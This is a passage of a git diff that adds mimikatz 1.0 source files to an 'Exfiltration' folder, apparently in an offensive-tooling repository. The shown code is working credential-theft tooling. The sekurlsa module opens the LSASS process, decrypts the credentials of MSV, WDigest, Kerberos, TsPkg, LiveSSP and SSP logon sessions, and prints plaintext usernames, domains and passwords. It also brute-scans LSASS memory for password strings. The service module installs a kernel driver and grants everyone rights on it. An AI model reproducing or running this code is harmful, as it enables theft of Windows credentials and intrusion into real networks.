+PLSA_SECPKG_FUNCTION_TABLE mod_mimikatz_sekurlsa::SeckPkgFunctionTable = NULL; + +bool mod_mimikatz_sekurlsa::lsassOK = false; +vector> mod_mimikatz_sekurlsa::GLOB_ALL_Providers; +vector mod_mimikatz_sekurlsa::mesModules; + +vector mod_mimikatz_sekurlsa::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_msv1_0::getMSV, L"msv", L"numre les sessions courantes du provider MSV1_0")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_wdigest::getWDigest, L"wdigest", L"numre les sessions courantes du provider WDigest")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_kerberos::getKerberos, L"kerberos",L"numre les sessions courantes du provider Kerberos")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_tspkg::getTsPkg, L"tspkg", L"numre les sessions courantes du provider TsPkg")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_livessp::getLiveSSP, L"livessp", L"numre les sessions courantes du provider LiveSSP")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mod_mimikatz_sekurlsa_ssp::getSSP, L"ssp", L"numre les sessions courantes du provider SSP (msv1_0)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(getLogonPasswords, L"logonPasswords", L"numre les sessions courantes des providers disponibles")); + + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(searchPasswords, L"searchPasswords", L"rechere directement dans les segments mmoire de LSASS des mots de passes")); + return monVector; +} + +bool mod_mimikatz_sekurlsa::getLogonPasswords(vector * arguments) +{ + if(searchLSASSDatas()) + getLogonData(arguments, &GLOB_ALL_Providers); + else + (*outputStream) << L"Donnes LSASS en erreur" << endl; + return true; +} + +bool mod_mimikatz_sekurlsa::loadLsaSrv() +{ + if(!hLsaSrv) + hLsaSrv = LoadLibrary(L"lsasrv"); + + if(mesModules.empty()) + { + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"lsasrv.dll", L"msv1_0", mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData, &pModLSASRV)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"tspkg.dll", L"tspkg", mod_mimikatz_sekurlsa_tspkg::getTsPkgLogonData, &mod_mimikatz_sekurlsa_tspkg::pModTSPKG)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"wdigest.dll", L"wdigest", mod_mimikatz_sekurlsa_wdigest::getWDigestLogonData, &mod_mimikatz_sekurlsa_wdigest::pModWDIGEST)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"kerberos.dll", L"kerberos", mod_mimikatz_sekurlsa_kerberos::getKerberosLogonData, &mod_mimikatz_sekurlsa_kerberos::pModKERBEROS)); + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"msv1_0.dll", L"ssp", mod_mimikatz_sekurlsa_ssp::getSSPLogonData, &mod_mimikatz_sekurlsa_ssp::pModMSV)); + if(mod_system::GLOB_Version.dwBuildNumber >= 8000) + mesModules.push_back(KIWI_MODULE_PKG_LSA(L"livessp.dll",L"livessp", mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData, &mod_mimikatz_sekurlsa_livessp::pModLIVESSP)); + } + return (hLsaSrv != NULL); +} + +bool mod_mimikatz_sekurlsa::unloadLsaSrv() +{ + for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + if(*testModule->pModuleEntry) + delete *testModule->pModuleEntry; + + if(mod_system::GLOB_Version.dwMajorVersion < 6) + mod_mimikatz_sekurlsa_keys_nt5::uninitLSASSData(); + else + mod_mimikatz_sekurlsa_keys_nt6::uninitLSASSData(); + + if(hLSASS) + CloseHandle(hLSASS); + if(hLsaSrv) + FreeLibrary(hLsaSrv); + + return true; +} + +bool mod_mimikatz_sekurlsa::searchLSASSDatas() +{ + if(!lsassOK) + { + if(!hLSASS) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring processName = L"lsass.exe"; + if(mod_process::getUniqueForName(&monProcess, &processName)) + { + if(hLSASS = OpenProcess(PROCESS_VM_READ | PROCESS_QUERY_INFORMATION, false, monProcess.th32ProcessID)) + { + vector monVecteurModules; + if(mod_process::getVeryBasicModulesListForProcess(&monVecteurModules, hLSASS)) + { + for(vector::iterator leModule = monVecteurModules.begin(); leModule != monVecteurModules.end(); leModule++) + { + for(vector::iterator testModule = mesModules.begin(); testModule != mesModules.end(); testModule++) + { + if((_wcsicmp(leModule->szModule.c_str(), testModule->moduleName) == 0) && !(*testModule->pModuleEntry)) + { + GLOB_ALL_Providers.push_back(make_pair(testModule->enumFunc, testModule->simpleName/*wstring(L"msv1_0")*/)); + *testModule->pModuleEntry = new mod_process::KIWI_VERY_BASIC_MODULEENTRY(*leModule); + break; + } + } + } + } else { + (*outputStream) << L"mod_process::getVeryBasicModulesListForProcess : " << mod_system::getWinError() << endl; + CloseHandle(hLSASS); + hLSASS = NULL; + } + } else (*outputStream) << L"OpenProcess : " << mod_system::getWinError() << endl; + } else (*outputStream) << L"mod_process::getUniqueForName : " << mod_system::getWinError() << endl; + } + + if(hLSASS) + { + MODULEINFO mesInfos; + if(GetModuleInformation(GetCurrentProcess(), hLsaSrv, &mesInfos, sizeof(MODULEINFO))) + { + localLSASRV.modBaseAddr = reinterpret_cast(mesInfos.lpBaseOfDll); + localLSASRV.modBaseSize = mesInfos.SizeOfImage; + + if(!SeckPkgFunctionTable) + { + struct {PVOID LsaIRegisterNotification; PVOID LsaICancelNotification;} extractPkgFunctionTable = {GetProcAddress(hLsaSrv, "LsaIRegisterNotification"), GetProcAddress(hLsaSrv, "LsaICancelNotification")}; + if(extractPkgFunctionTable.LsaIRegisterNotification && extractPkgFunctionTable.LsaICancelNotification) + mod_memory::genericPatternSearch(reinterpret_cast(&SeckPkgFunctionTable), L"lsasrv", reinterpret_cast(&extractPkgFunctionTable), sizeof(extractPkgFunctionTable), - FIELD_OFFSET(LSA_SECPKG_FUNCTION_TABLE, RegisterNotification), NULL, true, true); + } + + lsassOK = (mod_system::GLOB_Version.dwMajorVersion < 6) ? mod_mimikatz_sekurlsa_keys_nt5::searchAndInitLSASSData() : mod_mimikatz_sekurlsa_keys_nt6::searchAndInitLSASSData(); + } + } + } + return lsassOK; +} + +PLIST_ENTRY mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind) +{ + PLIST_ENTRY resultat = NULL; + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + PLIST_ENTRY pStruct = NULL; + if(mod_memory::readMemory(pSecurityStruct, &pStruct, sizeof(pStruct), hLSASS)) + { + while(pStruct != pSecurityStruct) + { + if(mod_memory::readMemory(pStruct, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) + { + resultat = pStruct; + break; + } + } else break; + pStruct = reinterpret_cast(monBuffer)->Flink; + } + } + delete [] monBuffer; + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); + return resultat; +} + +PVOID mod_mimikatz_sekurlsa::getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind) +{ + PVOID resultat = NULL; + RTL_AVL_TABLE maTable; + if(mod_memory::readMemory(pTable, &maTable, sizeof(RTL_AVL_TABLE), hLSASS)) + { + if(maTable.OrderedPointer) + { + BYTE * monBuffer = new BYTE[LUIDoffset + sizeof(LUID)]; + if(mod_memory::readMemory(maTable.OrderedPointer, monBuffer, LUIDoffset + sizeof(LUID), hLSASS)) + { + if(RtlEqualLuid(luidToFind, reinterpret_cast(reinterpret_cast(monBuffer) + LUIDoffset))) + resultat = maTable.OrderedPointer; + } + delete [] monBuffer; + } + + if(!resultat && maTable.BalancedRoot.LeftChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.LeftChild), LUIDoffset, luidToFind); + if(!resultat && maTable.BalancedRoot.RightChild) + resultat = getPtrFromAVLByLuidRec(reinterpret_cast(maTable.BalancedRoot.RightChild), LUIDoffset, luidToFind); + } + return resultat; +} + +void mod_mimikatz_sekurlsa::genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst, PDWORD pos) +{ + if(mesCreds) + { + if(mesCreds->Password.Buffer || mesCreds->UserName.Buffer || mesCreds->Domaine.Buffer) + { + wstring userName = mod_process::getUnicodeStringOfProcess(&mesCreds->UserName, hLSASS); + wstring domainName = mod_process::getUnicodeStringOfProcess(&mesCreds->Domaine, hLSASS); + wstring password = mod_process::getUnicodeStringOfProcess(&mesCreds->Password, hLSASS, SeckPkgFunctionTable->LsaUnprotectMemory); + wstring rUserName = (isDomainFirst ? domainName : userName); + wstring rDomainName = (isDomainFirst ? userName : domainName); + + if(justSecurity) + { + if(!pos) + (*outputStream) << password; + else + (*outputStream) << endl << + L"\t [" << *pos << L"] { " << rUserName << L" ; " << rDomainName << L" ; " << password << L" }"; + } + else + { + if(!pos) + (*outputStream) << endl << + L"\t * Utilisateur : " << rUserName << endl << + L"\t * Domaine : " << rDomainName << endl << + L"\t * Mot de passe : " << password; + else + (*outputStream) << endl << + L"\t * [" << *pos << L"] Utilisateur : " << rUserName << endl << + L"\t Domaine : " << rDomainName << endl << + L"\t Mot de passe : " << password; + } + } + } else (*outputStream) << L"n.t. (LUID KO)"; +} + +bool mod_mimikatz_sekurlsa::getLogonData(vector * mesArguments, vector> * mesProviders) +{ + PLUID sessions; + ULONG count; + + if (NT_SUCCESS(LsaEnumerateLogonSessions(&count, &sessions))) + { + for (ULONG i = 0; i < count ; i++) + { + PSECURITY_LOGON_SESSION_DATA sessionData = NULL; + if(NT_SUCCESS(LsaGetLogonSessionData(&sessions[i], &sessionData))) + { + if(sessionData->LogonType != Network) + { + (*outputStream) << endl << + L"Authentification Id : " << sessions[i].HighPart << L";" << sessions[i].LowPart << endl << + L"Package d\'authentification : " << mod_text::stringOfSTRING(sessionData->AuthenticationPackage) << endl << + L"Utilisateur principal : " << mod_text::stringOfSTRING(sessionData->UserName) << endl << + L"Domaine d\'authentification : " << mod_text::stringOfSTRING(sessionData->LogonDomain) << endl; + + for(vector>::iterator monProvider = mesProviders->begin(); monProvider != mesProviders->end(); monProvider++) + { + (*outputStream) << L'\t' << monProvider->second << (mesArguments->empty() ? (L" :") : (L"")) << L'\t'; + monProvider->first(&sessions[i], mesArguments->empty()); + (*outputStream) << endl; + } + } + LsaFreeReturnBuffer(sessionData); + } + else (*outputStream) << L"Erreur : Impossible d\'obtenir les donnes de session" << endl; + } + LsaFreeReturnBuffer(sessions); + } + else (*outputStream) << L"Erreur : Impossible d\'numerer les sessions courantes" << endl; + + return true; +} + +bool mod_mimikatz_sekurlsa::ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine, BYTE **buffer) +{ + bool resultat = false; + BYTE * monBuffer = NULL; + PBYTE * leBuffer = buffer ? buffer : &monBuffer; + if(mod_process::getUnicodeStringOfProcess(maChaine, leBuffer, hLSASS)) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS; + if(resultat = (IsTextUnicode(*leBuffer, maChaine->Length, &flags) != 0)) + { + if(dstChaine) + dstChaine->assign(reinterpret_cast(*leBuffer), maChaine->Length / sizeof(wchar_t)); + } + } + if(monBuffer) + delete[] monBuffer; + return resultat; +} + +bool mod_mimikatz_sekurlsa::searchPasswords(vector * arguments) +{ + if(searchLSASSDatas()) + { + if(PNT_QUERY_SYSTEM_INFORMATION NtQuerySystemInformation = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQuerySystemInformation"))) + { +#ifdef _M_X64 + PBYTE MmSystemRangeStart = reinterpret_cast(0xffff080000000000); +#elif defined _M_IX86 + PBYTE MmSystemRangeStart = reinterpret_cast(0x80000000); +#endif + ULONG maTaille = 0; + NtQuerySystemInformation(KIWI_SystemMmSystemRangeStart, &MmSystemRangeStart, sizeof(PBYTE), &maTaille); + + DWORD nbPossible = 0; + for(PBYTE pMemoire = 0; pMemoire < MmSystemRangeStart ; ) + { + MEMORY_BASIC_INFORMATION mesInfos; + if(VirtualQueryEx(hLSASS, pMemoire, &mesInfos, sizeof(MEMORY_BASIC_INFORMATION)) > 0) + { + if((mesInfos.Protect & PAGE_READWRITE) && !(mesInfos.Protect & PAGE_GUARD) && (mesInfos.Type == MEM_PRIVATE)) + { + UNICODE_STRING donnees[3]; + for(PBYTE pZone = reinterpret_cast(mesInfos.BaseAddress); pZone < (reinterpret_cast(mesInfos.BaseAddress) + mesInfos.RegionSize - 3*sizeof(UNICODE_STRING)); pZone += sizeof(DWORD)) + { + if(mod_memory::readMemory(pZone, donnees, 3*sizeof(UNICODE_STRING), hLSASS)) + { + if( + (donnees[0].Length && !((donnees[0].Length & 1) || (donnees[0].MaximumLength & 1)) && (donnees[0].Length < sizeof(wchar_t)*0xff) && (donnees[0].Length <= donnees[0].MaximumLength) && donnees[0].Buffer) && + (donnees[1].Length && !((donnees[1].Length & 1) || (donnees[1].MaximumLength & 1)) && (donnees[1].Length < sizeof(wchar_t)*0xff) && (donnees[1].Length <= donnees[1].MaximumLength) && donnees[1].Buffer) && + (donnees[2].Length && !((donnees[2].Length & 1) || (donnees[2].MaximumLength & 1)) && (donnees[2].Length < sizeof(wchar_t)*0xff) && (donnees[2].Length <= donnees[2].MaximumLength) && donnees[2].Buffer) + ) + { + wstring user, domain, password; + BYTE * bPassword = NULL; + if(ressembleString(&donnees[0], &user) && ressembleString(&donnees[1], &domain) && !ressembleString(&donnees[2], NULL, &bPassword)) + { + if(bPassword) + { + mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(bPassword, donnees[2].MaximumLength); + password.assign(mod_text::stringOrHex(bPassword, donnees[2].Length, 0, false)); + } + (*outputStream) << L"[" << nbPossible++ << L"] { " << user << L" ; " << domain << L" ; " << password << L" }" << endl; + } + + if(bPassword) + delete[] bPassword; + } + } + } + } + pMemoire += mesInfos.RegionSize; + } + else break; + } + } + } + else (*outputStream) << L"Donnes LSASS en erreur" << endl; + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h new file mode 100644 index 00000000..aa05d581 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_sekurlsa.h @@ -0,0 +1,64 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_memory.h" +#include "mod_process.h" +#include "mod_text.h" +#include "mod_system.h" +#include +#include "secpkg.h" + +#include "LSA Keys/keys_nt5.h" +#include "LSA Keys/keys_nt6.h" + +#include "Security Packages/msv1_0.h" +#include "Security Packages/tspkg.h" +#include "Security Packages/wdigest.h" +#include "Security Packages/kerberos.h" +#include "Security Packages/livessp.h" +#include "Security Packages/ssp.h" + +class mod_mimikatz_sekurlsa +{ +public: + typedef bool (WINAPI * PFN_ENUM_BY_LUID) (__in PLUID logId, __in bool justSecurity); +private: + typedef struct _KIWI_MODULE_PKG_LSA { + wchar_t * moduleName; + wchar_t * simpleName; + PFN_ENUM_BY_LUID enumFunc; + mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pModuleEntry; + _KIWI_MODULE_PKG_LSA(wchar_t * leModuleName, wchar_t * leSimpleName, PFN_ENUM_BY_LUID laEnumFunc, mod_process::PKIWI_VERY_BASIC_MODULEENTRY * pLeModuleEntry) : moduleName(leModuleName), simpleName(leSimpleName), enumFunc(laEnumFunc), pModuleEntry(pLeModuleEntry) {} + } KIWI_MODULE_PKG_LSA, *PKIWI_MODULE_PKG_LSA; + + static bool lsassOK; + static vector> GLOB_ALL_Providers; + static vector mesModules; + + static PVOID getPtrFromAVLByLuidRec(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + static bool ressembleString(PUNICODE_STRING maChaine, wstring * dstChaine = NULL, BYTE **buffer = NULL); + + static bool getLogonPasswords(vector * arguments); + static bool searchPasswords(vector * arguments); +public: + static HANDLE hLSASS; + static HMODULE hLsaSrv; + static mod_process::KIWI_VERY_BASIC_MODULEENTRY localLSASRV, *pModLSASRV; + static PLSA_SECPKG_FUNCTION_TABLE SeckPkgFunctionTable; + + static PLIST_ENTRY getPtrFromLinkedListByLuid(PLIST_ENTRY pSecurityStruct, unsigned long LUIDoffset, PLUID luidToFind); + static PVOID getPtrFromAVLByLuid(PRTL_AVL_TABLE pTable, unsigned long LUIDoffset, PLUID luidToFind); + + static void genericCredsToStream(PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds, bool justSecurity, bool isDomainFirst = false, PDWORD pos = NULL); + static bool getLogonData(vector * mesArguments, vector> * mesProviders); + + static bool loadLsaSrv(); + static bool unloadLsaSrv(); + static bool searchLSASSDatas(); + + static vector getMimiKatzCommands(); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp new file mode 100644 index 00000000..31fb6b56 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.cpp @@ -0,0 +1,191 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_service.h" +#include "..\global.h" + +vector mod_mimikatz_service::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les services et pilotes")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Dmarre un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Arrte un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Supprime un service ou pilote")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(mimikatz, L"mimikatz", L"Installe et/ou dmarre le pilote mimikatz")); + return monVector; +} + +bool mod_mimikatz_service::start(vector * arguments) +{ + (*outputStream) << L"Dmarrage de \'"; + return genericFunction(mod_service::start, arguments); +} + +bool mod_mimikatz_service::stop(vector * arguments) +{ + (*outputStream) << L"Arrt de \'"; + return genericFunction(mod_service::stop, arguments); +} + +bool mod_mimikatz_service::remove(vector * arguments) +{ + (*outputStream) << L"Suppression de \'"; + return genericFunction(mod_service::remove, arguments); +} + +bool mod_mimikatz_service::genericFunction(PMOD_SERVICE_FUNC function, vector * arguments) +{ + if(!arguments->empty()) + { + (*outputStream) << arguments->front() << L"\' : "; + if(function(&arguments->front(), NULL)) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"(null)\' - KO ; Nom de service manquant" << endl; + + return true; +} + + +bool mod_mimikatz_service::list(vector * arguments) +{ + bool services_fs_drivers = true; + bool services = false; + bool fs = false; + bool drivers = false; + + bool allstate = true; + bool running = false; + bool stopped = false; + + vector * vectorServices = new vector(); + if(mod_service::getList(vectorServices, (arguments->empty() ? NULL : &arguments->front()))) + { + for(vector::iterator monService = vectorServices->begin(); monService != vectorServices->end(); monService++) + { + if( + ( + (services && (monService->ServiceStatusProcess.dwServiceType & (SERVICE_WIN32_OWN_PROCESS | SERVICE_WIN32_SHARE_PROCESS))) || + (fs && (monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER)) || + (drivers && (monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER)) || + (services_fs_drivers) + ) + && + ( + (running && monService->ServiceStatusProcess.dwCurrentState == SERVICE_RUNNING) || + (stopped && monService->ServiceStatusProcess.dwCurrentState == SERVICE_STOPPED) || + (allstate) + ) + ) + { + if(monService->ServiceStatusProcess.dwProcessId != 0) + (*outputStream) << setw(5) << setfill(wchar_t(' ')) << monService->ServiceStatusProcess.dwProcessId; + (*outputStream) << L'\t'; + + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_INTERACTIVE_PROCESS) + (*outputStream) << L"INTERACTIVE_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_FILE_SYSTEM_DRIVER) + (*outputStream) << L"FILE_SYSTEM_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_KERNEL_DRIVER) + (*outputStream) << L"KERNEL_DRIVER" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_OWN_PROCESS) + (*outputStream) << L"WIN32_OWN_PROCESS" << L'\t'; + if(monService->ServiceStatusProcess.dwServiceType & SERVICE_WIN32_SHARE_PROCESS) + (*outputStream) << L"WIN32_SHARE_PROCESS" << L'\t'; + + switch(monService->ServiceStatusProcess.dwCurrentState) + { + case SERVICE_CONTINUE_PENDING: + (*outputStream) << L"CONTINUE_PENDING"; + break; + case SERVICE_PAUSE_PENDING: + (*outputStream) << L"PAUSE_PENDING"; + break; + case SERVICE_PAUSED: + (*outputStream) << L"PAUSED"; + break; + case SERVICE_RUNNING: + (*outputStream) << L"RUNNING"; + break; + case SERVICE_START_PENDING: + (*outputStream) << L"START_PENDING"; + break; + case SERVICE_STOP_PENDING: + (*outputStream) << L"STOP_PENDING"; + break; + case SERVICE_STOPPED: + (*outputStream) << L"STOPPED"; + break; + } + + (*outputStream) << L'\t' << + monService->serviceName << L'\t' << + monService->serviceDisplayName << + endl; + } + } + } + else + (*outputStream) << L"mod_service::getList ; " << mod_system::getWinError() << endl; + + delete vectorServices; + return true; +} + +bool mod_mimikatz_service::mimikatz(vector * arguments) +{ + if(SC_HANDLE monManager = OpenSCManager(NULL, SERVICES_ACTIVE_DATABASE, SC_MANAGER_CONNECT | SC_MANAGER_CREATE_SERVICE)) + { + SC_HANDLE monService = NULL; + if(!(monService = OpenService(monManager, L"mimikatz", SERVICE_START))) + { + if(GetLastError() == ERROR_SERVICE_DOES_NOT_EXIST) + { + (*outputStream) << L"[*] Pilote mimikatz non prsent, installation." << endl; + + wstring monPilote = L"mimikatz.sys"; + wstring monPiloteComplet = L""; + if(mod_system::getAbsolutePathOf(monPilote, &monPiloteComplet)) + { + bool fileExist = false; + if(mod_system::isFileExist(monPiloteComplet, &fileExist) && fileExist) + { + if(monService = CreateService(monManager, L"mimikatz", L"mimikatz driver", READ_CONTROL | WRITE_DAC | SERVICE_START, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, monPiloteComplet.c_str(), NULL, NULL, NULL, NULL, NULL)) + { + (*outputStream) << L"[+] Cration du pilote : OK" << endl; + if(mod_secacl::addWorldToMimikatz(&monService)) + (*outputStream) << L"[+] Attribution des droits : OK"; + else + (*outputStream) << L"[-] Attribution des droits : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + } + else (*outputStream) << L"[!] Impossible de crer le pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Le pilote ne semble pas exister ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Impossible d\'obtenir le chemin absolu du pilote ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[!] Ouverture du pilote mimikatz : KO ; " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"[*] Pilote mimikatz dj prsent" << endl; + + if(monService) + { + if(StartService(monService, 0, NULL) != 0) + (*outputStream) << L"[+] Dmarrage du pilote : OK"; + else + (*outputStream) << L"[-] Dmarrage du pilote : KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + CloseServiceHandle(monService); + } + + CloseServiceHandle(monManager); + } + else (*outputStream) << L"[!] Impossible d\'ouvrir le gestionnaire de service pour cration ; " << mod_system::getWinError() << endl; + return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h new file mode 100644 index 00000000..368066f8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_service.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_service.h" +#include + +class mod_mimikatz_service +{ +private: + typedef bool (* PMOD_SERVICE_FUNC) (wstring * serviceName, wstring * machineName); + static bool genericFunction(PMOD_SERVICE_FUNC function, vector * arguments); +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + + static bool start(vector * arguments); + static bool suspend(vector * arguments); + static bool resume(vector * arguments); + static bool stop(vector * arguments); + + static bool query(vector * arguments); + + static bool add(vector * arguments); + static bool remove(vector * arguments); + static bool control(vector * arguments); + + static bool mimikatz(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp new file mode 100644 index 00000000..e785e0d8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` +http://blog.gentilkiwi.com +benjamin@gentilkiwi.com +Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_standard.h" +#include "..\global.h" + +vector mod_mimikatz_standard::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(clearScreen, L"cls", L"Efface l\'cran (ne fonctionne pas en xecution distante, via PsExec par exemple)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(exit, L"exit", L"Quitte MimiKatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(reponse, L"reponse", L"Calcule la rponse la Grande Question sur la Vie, l\'Univers et le Reste")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cite, L"cite", L"Trouve une citation")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(version, L"version", L"Retourne la version de mimikatz")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(sleep, L"sleep", L"Mets en pause mimikatz un certains nombre de millisecondes")); + //monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(test, L"test", L"Routine de test (ne devrait plus tre l en release...")); + return monVector; +} + +/*bool mod_mimikatz_standard::test(vector * arguments) +{ + return true; +}*/ + +bool mod_mimikatz_standard::version(vector * arguments) +{ + (*outputStream) << MIMIKATZ_FULL << L" (" << __DATE__ << L' ' << __TIME__ << L')' << endl; + return true; +} + +bool mod_mimikatz_standard::clearScreen(vector * arguments) +{ + HANDLE hStdOut = GetStdHandle(STD_OUTPUT_HANDLE); + COORD coord = {0, 0}; + DWORD count; + + CONSOLE_SCREEN_BUFFER_INFO csbi; + GetConsoleScreenBufferInfo(hStdOut, &csbi); + + FillConsoleOutputCharacter(hStdOut, L' ', csbi.dwSize.X * csbi.dwSize.Y, coord, &count); + SetConsoleCursorPosition(hStdOut, coord); + + return true; +} + +bool mod_mimikatz_standard::exit(vector * arguments) +{ + return false; +} + +bool mod_mimikatz_standard::reponse(vector * arguments) +{ + (*outputStream) << L"La rponse est 42." << endl; + return true; +} + +bool mod_mimikatz_standard::cite(vector * arguments) +{ + (*outputStream) << L"I edit the world in HEX" << endl; + return true; +} + +bool mod_mimikatz_standard::sleep(vector * arguments) +{ + DWORD dwMilliseconds = 1000; + if(!arguments->empty()) + { + wstringstream z; + z << arguments->front(); z >> dwMilliseconds; + } + (*outputStream) << L"Sleep : " << dwMilliseconds << L" ms... " << flush; + Sleep(dwMilliseconds); + (*outputStream) << L"Fin !" << endl; + return true; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h new file mode 100644 index 00000000..dab1350f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_standard.h @@ -0,0 +1,23 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +class mod_mimikatz_standard +{ +public: + static vector getMimiKatzCommands(); + + static bool clearScreen(vector * arguments); + static bool 